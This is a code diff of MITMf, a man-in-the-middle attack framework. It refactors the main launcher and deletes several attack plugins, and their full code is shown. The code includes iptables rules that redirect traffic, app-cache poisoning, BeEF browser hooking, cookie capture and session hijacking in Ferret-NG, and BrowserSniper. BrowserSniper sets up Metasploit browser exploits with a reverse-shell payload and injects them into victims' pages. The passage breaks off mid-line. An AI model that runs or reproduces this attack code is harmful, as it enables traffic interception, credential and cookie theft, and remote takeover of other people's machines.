IpTables: return IpTables._instance def Flush(self): - mitmf_logger.debug("[Utils] Flushing iptables") + log.debug("[Utils] Flushing iptables") os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') self.dns = False self.http = False def HTTP(self, http_redir_port): - mitmf_logger.debug("[Utils] Setting iptables HTTP redirection rule from port 80 to {}".format(http_redir_port)) + log.debug("[Utils] Setting iptables HTTP redirection rule from port 80 to {}".format(http_redir_port)) os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port {}'.format(http_redir_port)) self.http = True def DNS(self, dns_redir_port): - mitmf_logger.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}".format(dns_redir_port)) + log.debug("[Utils] Setting iptables DNS redirection rule from port 53 to {}".format(dns_redir_port)) os.system('iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port {}'.format(dns_redir_port)) self.dns = True def SMB(self, smb_redir_port): - mitmf_logger.debug("[Utils] Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port)) + log.debug("[Utils] Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port)) os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 445 -j REDIRECT --to-port {}'.format(smb_redir_port)) self.smb = True @@ -163,6 +164,6 @@ class Banners: ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ """ - def printBanner(self): + def get_banner(self): banners = [self.banner1, self.banner2, self.banner3, self.banner4, self.banner5] - print random.choice(banners) \ No newline at end of file + return random.choice(banners) diff --git a/libs/bdfactory b/libs/bdfactory index 0bd3429..6fcff6b 160000 --- a/libs/bdfactory +++ b/libs/bdfactory @@ -1 +1 @@ -Subproject commit 0bd3429e6775395c3522046ab21193a36ab2e0fe +Subproject commit 6fcff6bdb511ca306ec9ad29872342086714dd1d diff --git a/mitmf.py b/mitmf.py index 3ba5218..a2c8b7c 100755 --- a/mitmf.py +++ b/mitmf.py @@ -18,158 +18,102 @@ # USA # +import logging import argparse import sys import os -import logging import threading from twisted.web import http from twisted.internet import reactor -from core.sslstrip.CookieCleaner import CookieCleaner -from core.sergioproxy.ProxyPlugins import ProxyPlugins from core.utils import Banners, SystemConfig, shutdown +from core.logger import logger + from plugins import * -Banners().printBanner() +print Banners().get_banner() if os.geteuid() != 0: - sys.exit("[-] When man-in-the-middle you want, run as r00t you will, hmm?") + sys.exit("[-] The derp is strong with this one") -mitmf_version = "0.9.7" -sslstrip_version = "0.9" -sergio_version = "0.2.1" - -parser = argparse.ArgumentParser(description="MITMf v{} - Framework for MITM attacks".format(mitmf_version), version=mitmf_version, usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@') +parser = argparse.ArgumentParser(description="MITMf v0.9.8 - 'The Dark Side'", version="0.9.8 - 'The Dark Side'", usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]', epilog="Use wisely, young Padawan.") #add MITMf options mgroup = parser.add_argument_group("MITMf", "Options for MITMf") mgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]") -mgroup.add_argument("-i", "--interface", required=True, type=str, metavar="interface" ,help="Interface to listen on") -mgroup.add_argument("-c", "--config-file", dest='configfile', type=str, default="./config/mitmf.conf", metavar='configfile', help="Specify config file to use") +mgroup.add_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on") +mgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use") mgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically') -#add sslstrip options +#Add sslstrip options sgroup = parser.add_argument_group("SSLstrip", "Options for SSLstrip library") slogopts = sgroup.add_mutually_exclusive_group() -slogopts.add_argument("-p", "--post", action="store_true",help="Log only SSL POSTs. (default)") -slogopts.add_argument("-s", "--ssl", action="store_true", help="Log all SSL traffic to and from server.") -slogopts.add_argument("-a", "--all", action="store_true", help="Log all SSL and HTTP traffic to and from server.") -sgroup.add_argument("-l", "--listen", type=int, metavar="port", default=10000, help="Port to listen on (default 10000)") +sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching") +sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)") sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.") sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.") -#Initialize plugins -plugin_classes = plugin.Plugin.__subclasses__() +#Initialize plugins and pass them the parser NameSpace object +plugins = [plugin(parser) for plugin in plugin.Plugin.__subclasses__()] -plugins = [] -try: - for p in plugin_classes: - plugins.append(p()) -except Exception as e: - print "[-] Failed to load plugin class {}: {}".format(p, e) - - -arg_dict = dict() #dict containing a plugin's optname with it's relative options - -#Give subgroup to each plugin with options -try: - for p in plugins: - if p.desc == "": - sgroup = parser.add_argument_group(p.name,"Options for {}.".format(p.name)) - else: - sgroup = parser.add_argument_group(p.name, p.desc) - - sgroup.add_argument("--{}".format(p.optname), action="store_true",help="Load plugin {}".format(p.name)) - - if p.has_opts: - p.pluginOptions(sgroup) - - arg_dict[p.optname] = vars(sgroup)['_group_actions'] - -except NotImplementedError: - sys.exit("[-] {} plugin claimed option support, but didn't have it.".format(p.name)) - -if len(sys.argv) is 1: +if len(sys.argv) == 1: parser.print_help() sys.exit(1) -args = parser.parse_args() +options = parser.parse_args() -# Definitely a better way to do this, will need to clean this up in the future -# Checks to see if we called a plugin's options without first invoking the actual plugin -for plugin, options in arg_dict.iteritems(): - if vars(args)[plugin] is False: - for option in options: - if vars(args)[option.dest]: - sys.exit("[-] Called plugin options without invoking the actual plugin (--{})".format(plugin)) +#Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object +options.ip = SystemConfig.getIP(options.interface) +options.mac = SystemConfig.getMAC(options.interface) -#check to see if we supplied a valid interface -myip = SystemConfig.getIP(args.interface) -mymac = SystemConfig.getMAC(args.interface) +#Set the log level +logger().log_level = logging.__dict__[options.log_level.upper()] +formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger('mitmf', formatter) -#Start logging -log_level = logging.__dict__[args.log_level.upper()] - -logging.basicConfig(level=log_level, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -logFormatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -mitmf_logger = logging.getLogger('mitmf') -fileHandler = logging.FileHandler("./logs/mitmf.log") -fileHandler.setFormatter(logFormatter) -mitmf_logger.addHandler(fileHandler) - -##################################################################################################### - -#All our options should be loaded now, initialize the plugins -print "[*] MITMf v{} online... initializing plugins".format(mitmf_version) - -for p in plugins: - - #load only the plugins that have been called at the command line - if vars(args)[p.optname] is True: - - print "|_ {} v{}".format(p.name, p.version) - if p.tree_info: - for line in xrange(0, len(p.tree_info)): - print "| |_ {}".format(p.tree_info.pop()) - - p.initialize(args) - - if p.tree_info: - for line in xrange(0, len(p.tree_info)): - print "| |_ {}".format(p.tree_info.pop()) - - ProxyPlugins.getInstance().addPlugin(p) - -#Plugins are ready to go, let's rock & roll +from core.sslstrip.CookieCleaner import CookieCleaner +from core.sergioproxy.ProxyPlugins import ProxyPlugins from core.sslstrip.StrippingProxy import StrippingProxy from core.sslstrip.URLMonitor import URLMonitor -URLMonitor.getInstance().setFaviconSpoofing(args.favicon) -CookieCleaner.getInstance().setEnabled(args.killsessions) +URLMonitor.getInstance().setFaviconSpoofing(options.favicon) +CookieCleaner.getInstance().setEnabled(options.killsessions) strippingFactory = http.HTTPFactory(timeout=10) strippingFactory.protocol = StrippingProxy -reactor.listenTCP(args.listen, strippingFactory) +reactor.listenTCP(options.listen_port, strippingFactory) -for p in ProxyPlugins.getInstance().plist: +#All our options should be loaded now, start initializing the plugins +print "[*] MITMf v0.9.8 - 'The Dark Side'" +for plugin in plugins: - p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it - p.startConfigWatch() + #load only the plugins that have been called at the command line + if vars(options)[plugin.optname] is True: - if hasattr(p, 'startThread'): - t = threading.Thread(name='{}-Thread'.format(p.name), target=p.startThread) - t.setDaemon(True) - t.start() + print "|_ {} v{}".format(plugin.name, plugin.version) + if plugin.tree_info: + for line in xrange(0, len(plugin.tree_info)): + print "| |_ {}".format(plugin.tree_info.pop()) + + plugin.initialize(options) + + if plugin.tree_info: + for line in xrange(0, len(plugin.tree_info)): + print "| |_ {}".format(plugin.tree_info.pop()) + + ProxyPlugins.getInstance().addPlugin(plugin) + plugin.reactor(strippingFactory) + plugin.setup_logger() + plugin.start_config_watch() print "|" -print "|_ Sergio-Proxy v{} online".format(sergio_version) -print "|_ SSLstrip v{} by Moxie Marlinspike online".format(sslstrip_version) +print "|_ Sergio-Proxy v0.2.1 online" +print "|_ SSLstrip v0.9 by Moxie Marlinspike online" #Start Net-Creds from core.netcreds.NetCreds import NetCreds -NetCreds().start(args.interface, myip) +NetCreds().start(options.interface) print "|_ Net-Creds v{} online".format(NetCreds.version) #Start DNSChef @@ -184,8 +128,8 @@ print "|_ DNSChef v{} online".format(DNSChef.version) #Start the SMB server from core.servers.smb.SMBserver import SMBserver -print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver) SMBserver.getInstance().start() +print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver.getInstance().server_type, SMBserver.getInstance().impacket_ver) #start the reactor reactor.run() diff --git a/other_setup.sh b/other_setup.sh old mode 100644 new mode 100755 diff --git a/plugins/AppCachePoison.py b/plugins/AppCachePoison.py deleted file mode 100644 index 296522f..0000000 --- a/plugins/AppCachePoison.py +++ /dev/null @@ -1,203 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Krzysztof Kotowicz, Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -import re -import os.path -import time -import sys - -from datetime import date -from plugins.plugin import Plugin -from core.sslstrip.URLMonitor import URLMonitor - -mitmf_logger = logging.getLogger("mitmf") - -class AppCachePlugin(Plugin): - name = "AppCachePoison" - optname = "appoison" - desc = "Performs App Cache Poisoning attacks" - version = "0.3" - has_opts = False - - def initialize(self, options): - self.options = options - self.mass_poisoned_browsers = [] - self.urlMonitor = URLMonitor.getInstance() - - self.urlMonitor.setAppCachePoisoning() - - def serverResponse(self, response, request, data): - - #This code was literally copied + pasted from Koto's sslstrip fork, def need to clean this up in the near future - - self.app_config = self.config['AppCachePoison'] # so we reload the config on each request - url = request.client.uri - req_headers = request.client.getAllHeaders() - headers = request.client.responseHeaders - ip = request.client.getClientIP() - - ######################################################################### - - if "enable_only_in_useragents" in self.app_config: - regexp = self.app_config["enable_only_in_useragents"] - if regexp and not re.search(regexp,req_headers["user-agent"]): - mitmf_logger.info("{} [{}] Tampering disabled in this useragent ({})".format(ip, self.name, req_headers["user-agent"])) - return {'response': response, 'request': request, 'data': data} - - urls = self.urlMonitor.getRedirectionSet(url) - mitmf_logger.debug("{} [{}] Got redirection set: {}".format(ip,self.name, urls)) - (name,s,element,url) = self.getSectionForUrls(urls) - - if s is False: - data = self.tryMassPoison(url, data, headers, req_headers, ip) - return {'response': response, 'request': request, 'data': data} - - mitmf_logger.info("{} [{}] Found URL {} in section {}".format(ip, self.name, url, name)) - p = self.getTemplatePrefix(s) - - if element == 'tamper': - mitmf_logger.info("{} [{}] Poisoning tamper URL with template {}".format(ip, self.name, p)) - if os.path.exists(p + '.replace'): # replace whole content - f = open(p + '.replace','r') - data = self.decorate(f.read(), s) - f.close() - - elif os.path.exists(p + '.append'): # append file to body - f = open(p + '.append','r') - appendix = self.decorate(f.read(), s) - f.close() - # append to body - data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) - - # add manifest reference - data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) - self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip - return data - - def getMassPoisonHtml(self): - html = "
" - for i in self.app_config: - if isinstance(self.app_config[i], dict): - if self.app_config[i].has_key('tamper_url') and not self.app_config[i].get('skip_in_mass_poison', False): - html += "" - - return html + "
" - - def cacheForFuture(self, headers): - ten_years = 315569260 - headers.setRawHeaders("Cache-Control",["max-age="+str(ten_years)]) - headers.setRawHeaders("Last-Modified",["Mon, 29 Jun 1998 02:28:12 GMT"]) # it was modifed long ago, so is most likely fresh - in_ten_years = date.fromtimestamp(time.time() + ten_years) - headers.setRawHeaders("Expires",[in_ten_years.strftime("%a, %d %b %Y %H:%M:%S GMT")]) - - def removeDangerousHeaders(self, headers): - headers.removeHeader("X-Frame-Options") - - def getSpoofedManifest(self, url, section): - p = self.getTemplatePrefix(section) - if not os.path.exists(p+'.manifest'): - p = self.getDefaultTemplatePrefix() - - f = open(p + '.manifest', 'r') - manifest = f.read() - f.close() - return self.decorate(manifest, section) - - def decorate(self, content, section): - for i in section: - content = content.replace("%%"+i+"%%", section[i]) - return content - - def getTemplatePrefix(self, section): - if section.has_key('templates'): - return self.app_config['templates_path'] + '/' + section['templates'] - - return self.getDefaultTemplatePrefix() - - def getDefaultTemplatePrefix(self): - return self.app_config['templates_path'] + '/default' - - def getManifestUrl(self, section): - return section.get("manifest_url",'/robots.txt') - - def getSectionForUrls(self, urls): - for url in urls: - for i in self.app_config: - if isinstance(self.app_config[i], dict): #section - section = self.app_config[i] - name = i - - if section.get('tamper_url',False) == url: - return (name, section, 'tamper',url) - - if section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url): - return (name, section, 'tamper',url) - - if section.get('manifest_url',False) == url: - return (name, section, 'manifest',url) - - if section.get('raw_url',False) == url: - return (name, section, 'raw',url) - - return (None, False,'',urls.copy().pop()) diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py deleted file mode 100644 index 1ff520f..0000000 --- a/plugins/BeefAutorun.py +++ /dev/null @@ -1,122 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -import sys -import json -import threading - -from time import sleep -from core.beefapi import BeefAPI -from core.utils import SystemConfig, shutdown -from plugins.plugin import Plugin -from plugins.Inject import Inject - -mitmf_logger = logging.getLogger("mitmf") - -class BeefAutorun(Inject, Plugin): - name = "BeEFAutorun" - optname = "beefauto" - desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type" - version = "0.3" - has_opts = False - - def initialize(self, options): - self.options = options - self.ip_address = SystemConfig.getIP(options.interface) - - Inject.initialize(self, options) - - self.tree_info.append("Mode: {}".format(self.config['BeEFAutorun']['mode'])) - - beefconfig = self.config['MITMf']['BeEF'] - - self.html_payload = ''.format(self.ip_address, beefconfig['beefport']) - - self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) - if not self.beef.login(beefconfig['user'], beefconfig['pass']): - shutdown("[BeEFAutorun] Error logging in to BeEF!") - - def startThread(self): - self.autorun() - - def onConfigChange(self): - self.initialize(self.options) - - def autorun(self): - already_ran = [] - already_hooked = [] - - while True: - mode = self.config['BeEFAutorun']['mode'] - - for hook in self.beef.hooked_browsers.online: - - if hook.session not in already_hooked: - mitmf_logger.info("{} [BeEFAutorun] Joined the horde! [id:{}, type:{}-{}, os:{}]".format(hook.ip, hook.id, hook.name, hook.version, hook.os)) - already_hooked.append(hook.session) - self.black_ips.append(hook.ip) - - if mode == 'oneshot': - if hook.session not in already_ran: - self.execModules(hook) - already_ran.append(hook.session) - - elif mode == 'loop': - self.execModules(hook) - sleep(10) - - sleep(1) - - def execModules(self, hook): - all_modules = self.config['BeEFAutorun']["ALL"] - targeted_modules = self.config['BeEFAutorun']["targets"] - - if all_modules: - mitmf_logger.info("{} [BeEFAutorun] Sending generic modules".format(hook.ip)) - - for module, options in all_modules.iteritems(): - - for m in self.beef.modules.findbyname(module): - resp = m.run(hook.session, json.loads(options)) - - if resp["success"] == 'true': - mitmf_logger.info('{} [BeEFAutorun] Sent module {}'.format(hook.ip, m.id)) - else: - mitmf_logger.info('{} [BeEFAutorun] Error sending module {}'.format(hook.ip, m.id)) - - sleep(0.5) - - if (hook.name and hook.os): - for os in targeted_modules: - if (os == hook.os) or (os in hook.os): - mitmf_logger.info("{} [BeEFAutorun] Sending targeted modules".format(hook.ip)) - - for browser in targeted_modules[os]: - if browser == hook.name: - for module, options in targeted_modules[os][browser].iteritems(): - for m in self.beef.modules.findbyname(module): - resp = m.run(hook.session, json.loads(options)) - if resp["success"] == 'true': - mitmf_logger.info('{} [BeEFAutorun] Sent module {}'.format(hook.ip, m.id)) - else: - mitmf_logger.info('{} [BeEFAutorun] Error sending module {}'.format(hook.ip, m.id)) - - sleep(0.5) diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py deleted file mode 100644 index aa831f4..0000000 --- a/plugins/BrowserProfiler.py +++ /dev/null @@ -1,65 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# -import logging - -from pprint import pformat -from plugins.plugin import Plugin -from plugins.Inject import Inject - -mitmf_logger = logging.getLogger("mitmf") - -class BrowserProfiler(Inject, Plugin): - name = "BrowserProfiler" - optname = "browserprofiler" - desc = "Attempts to enumerate all browser plugins of connected clients" - version = "0.3" - has_opts = False - - def initialize(self, options): - self.output = {} # so other plugins can access the results - - Inject.initialize(self, options) - self.html_payload = self.get_payload() - - def post2dict(self, post): #converts the ajax post to a dic - d = dict() - for line in post.split('&'): - t = line.split('=') - d[t[0]] = t[1] - return d - - def clientRequest(self, request): - #Handle the plugin output - if 'clientprfl' in request.uri: - request.printPostData = False - - self.output = self.post2dict(request.postData) - self.output['ip'] = request.client.getClientIP() - self.output['useragent'] = request.clientInfo - - if self.output['plugin_list']: - self.output['plugin_list'] = self.output['plugin_list'].split(',') - - pretty_output = pformat(self.output) - mitmf_logger.info("{} [BrowserProfiler] Got data:\n{}".format(request.client.getClientIP(), pretty_output)) - - def get_payload(self): - plugindetect = open("./core/javascript/plugindetect.js", 'r').read() - return '' diff --git a/plugins/BrowserSniper.py b/plugins/BrowserSniper.py deleted file mode 100644 index c338908..0000000 --- a/plugins/BrowserSniper.py +++ /dev/null @@ -1,194 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import string -import random -import logging - -from time import sleep -from core.msfrpc import Msf -from core.utils import SystemConfig, shutdown -from plugins.plugin import Plugin -from plugins.BrowserProfiler import BrowserProfiler - -mitmf_logger = logging.getLogger("mitmf") - -class BrowserSniper(BrowserProfiler, Plugin): - name = "BrowserSniper" - optname = "browsersniper" - desc = "Performs drive-by attacks on clients with out-of-date browser plugins" - version = "0.4" - has_opts = False - - def initialize(self, options): - self.options = options - self.msfip = SystemConfig.getIP(options.interface) - self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit - - #Initialize the BrowserProfiler plugin - BrowserProfiler.initialize(self, options) - - msfversion = Msf().version() - self.tree_info.append("Connected to Metasploit v{}".format(msfversion)) - - def startThread(self): - self.snipe() - - def onConfigChange(self): - self.initialize(self.options) - - def _genRandURL(self): #generates a random url for our exploits (urls are generated with a / at the beginning) - return "/" + ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, 5)) - - def _getRandPort(self): - return random.randint(1000, 65535) - - def _setupExploit(self, exploit, msfport): - - rand_url = self._genRandURL() - rand_port = self._getRandPort() - #generate the command string to send to the virtual console - #new line character very important as it simulates a user pressing enter - cmd = "use exploit/{}\n".format(exploit) - cmd += "set SRVPORT {}\n".format(msfport) - cmd += "set URIPATH {}\n".format(rand_url) - cmd += "set PAYLOAD generic/shell_reverse_tcp\n" - cmd += "set LHOST {}\n".format(self.msfip) - cmd += "set LPORT {}\n".format(rand_port) - cmd += "set ExitOnSession False\n" - cmd += "exploit -j\n" - - Msf().sendcommand(cmd) - - return (rand_url, rand_port) - - def _compat_system(self, os_config, brw_config): - os = self.output['useragent'][0].lower() - browser = self.output['useragent'][1].lower() - - if (os_config == 'any') and (brw_config == 'any'): - return True - - if (os_config == 'any') and (brw_config in browser): - return True - - if (os_config in os) and (brw_config == 'any'): - return True - - if (os_config in os) and (brw_config in browser): - return True - - return False - - def getExploits(self): - exploits = list() - vic_ip = self.output['ip'] - - #First get the client's info - java = None - if (self.output['java_installed'] == '1') and (self.output['java_version'] != 'null'): - java = self.output['java_version'] - - flash = None - if (self.output['flash_installed'] == '1') and (self.output['flash_version'] != 'null'): - flash = self.output['flash_version'] - - mitmf_logger.debug("{} [BrowserSniper] Java installed: {} | Flash installed: {}".format(vic_ip, java, flash)) - - for exploit, details in self.config['BrowserSniper'].iteritems(): - - if self._compat_system(details['OS'].lower(), details['Browser'].lower()): - - if details['Type'].lower() == 'browservuln': - exploits.append(exploit) - - elif details['Type'].lower() == 'pluginvuln': - - if details['Plugin'].lower() == 'java': - if (java is not None) and (java in details['PluginVersions']): - exploits.append(exploit) - - elif details['Plugin'].lower() == 'flash': - - if (flash is not None) and (flash in details['PluginVersions']): - exploits.append(exploit) - - mitmf_logger.debug("{} [BrowserSniper] Compatible exploits: {}".format(vic_ip, exploits)) - return exploits - - def injectAndPoll(self, ip, inject_payload): #here we inject an iframe to trigger the exploit and check for resulting sessions - - #inject iframe - mitmf_logger.info("{} [BrowserSniper] Now injecting iframe to trigger exploits".format(ip)) - self.html_payload = inject_payload #temporarily changes the code that the Browserprofiler plugin injects - - #The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds - #Will also make sure the shell actually came from the box that we targeted - mitmf_logger.info('{} [BrowserSniper] Waiting for ze shellz, sit back and relax...'.format(ip)) - - poll_n = 1 - msf = Msf() - while poll_n != 30: - - if msf.sessionsfrompeer(ip): - mitmf_logger.info("{} [BrowserSniper] Client haz been 0wn3d! Enjoy!".format(ip)) - self.sploited_ips.append(ip) - self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped - self.html_payload = self.get_payload() # restart the BrowserProfiler plugin - return - - poll_n += 1 - sleep(2) - - mitmf_logger.info("{} [BrowserSniper] Session not established after 60 seconds".format(ip)) - self.html_payload = self.get_payload() # restart the BrowserProfiler plugin - - def snipe(self): - while True: - if self.output: - vic_ip = self.output['ip'] - msfport = self.config['MITMf']['Metasploit']['msfport'] - exploits = self.getExploits() - - if not exploits: - if vic_ip not in self.sploited_ips: - mitmf_logger.info('{} [BrowserSniper] Client not vulnerable to any exploits, adding to blacklist'.format(vic_ip)) - self.sploited_ips.append(vic_ip) - self.black_ips = self.sploited_ips - - elif exploits and (vic_ip not in self.sploited_ips): - mitmf_logger.info("{} [BrowserSniper] Client vulnerable to {} exploits".format(vic_ip, len(exploits))) - inject_payload = '' - - msf = Msf() - for exploit in exploits: - - pid = msf.findpid(exploit) - if pid: - mitmf_logger.info('{} [BrowserSniper] {} already started'.format(vic_ip, exploit)) - url = msf.jobinfo(pid)['uripath'] #get the url assigned to the exploit - inject_payload += "".format(self.msfip, msfport, url) - else: - url, port = self._setupExploit(exploit, msfport) - inject_payload += "".format(self.msfip, port, url) - - self.injectAndPoll(vic_ip, inject_payload) - - sleep(1) diff --git a/plugins/CacheKill.py b/plugins/CacheKill.py deleted file mode 100644 index 9525e86..0000000 --- a/plugins/CacheKill.py +++ /dev/null @@ -1,45 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -from plugins.plugin import Plugin - -mitmf_logger = logging.getLogger("mitmf") - -class CacheKill(Plugin): - name = "CacheKill" - optname = "cachekill" - desc = "Kills page caching by modifying headers" - version = "0.1" - - def initialize(self, options): - self.bad_headers = ['if-none-match', 'if-modified-since'] - - def serverHeaders(self, response, request): - '''Handles all response headers''' - response.headers['Expires'] = "0" - response.headers['Cache-Control'] = "no-cache" - - def clientRequest(self, request): - '''Handles outgoing request''' - request.headers['pragma'] = 'no-cache' - for header in self.bad_headers: - if header in request.headers: - del request.headers[header] \ No newline at end of file diff --git a/plugins/FerretNG.py b/plugins/FerretNG.py deleted file mode 100644 index 42c426a..0000000 --- a/plugins/FerretNG.py +++ /dev/null @@ -1,105 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import logging -import ast -import sys - -from datetime import datetime -from plugins.plugin import Plugin -from twisted.internet import reactor -from twisted.web import http -from twisted.internet import reactor -from core.utils import shutdown -from core.ferretng.FerretProxy import FerretProxy -from core.ferretng.URLMonitor import URLMonitor - -mitmf_logger = logging.getLogger("mitmf") - -class FerretNG(Plugin): - name = "Ferret-NG" - optname = "ferretng" - desc = "Captures cookies and starts a proxy that will feed them to connected clients" - version = "0.1" - has_opts = True - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.ferret_port = 10010 or options.ferret_port - self.cookie_file = None - - URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] - - if options.cookie_file: - self.tree_info.append('Loading cookies from log file') - try: - with open(options.cookie_file, 'r') as cookie_file: - self.cookie_file = ast.literal_eval(cookie_file.read()) - URLMonitor.getInstance().cookies = self.cookie_file - cookie_file.close() - except Exception as e: - shutdown("[-] Error loading cookie log file: {}".format(e)) - - self.tree_info.append("Listening on port {}".format(self.ferret_port)) - - def onConfigChange(self): - mitmf_logger.info("[Ferret-NG] Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client'])) - URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] - - def clientRequest(self, request): - if 'cookie' in request.headers: - host = request.headers['host'] - cookie = request.headers['cookie'] - client = request.client.getClientIP() - - if client not in URLMonitor.getInstance().cookies: - URLMonitor.getInstance().cookies[client] = [] - - for entry in URLMonitor.getInstance().cookies[client]: - if host == entry['host']: - mitmf_logger.debug("{} [Ferret-NG] Updating captured session for {}".format(client, host)) - entry['host'] = host - entry['cookie'] = cookie - return - - mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie)) - URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie}) - - def pluginReactor(self, StrippingProxy): - FerretFactory = http.HTTPFactory(timeout=10) - FerretFactory.protocol = FerretProxy - reactor.listenTCP(self.ferret_port, FerretFactory) - - def pluginOptions(self, options): - options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG proxy on (default 10010)') - options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from a log file') - - def finish(self): - if not URLMonitor.getInstance().cookies: - return - - if self.cookie_file == URLMonitor.getInstance().cookies: - return - - mitmf_logger.info("[Ferret-NG] 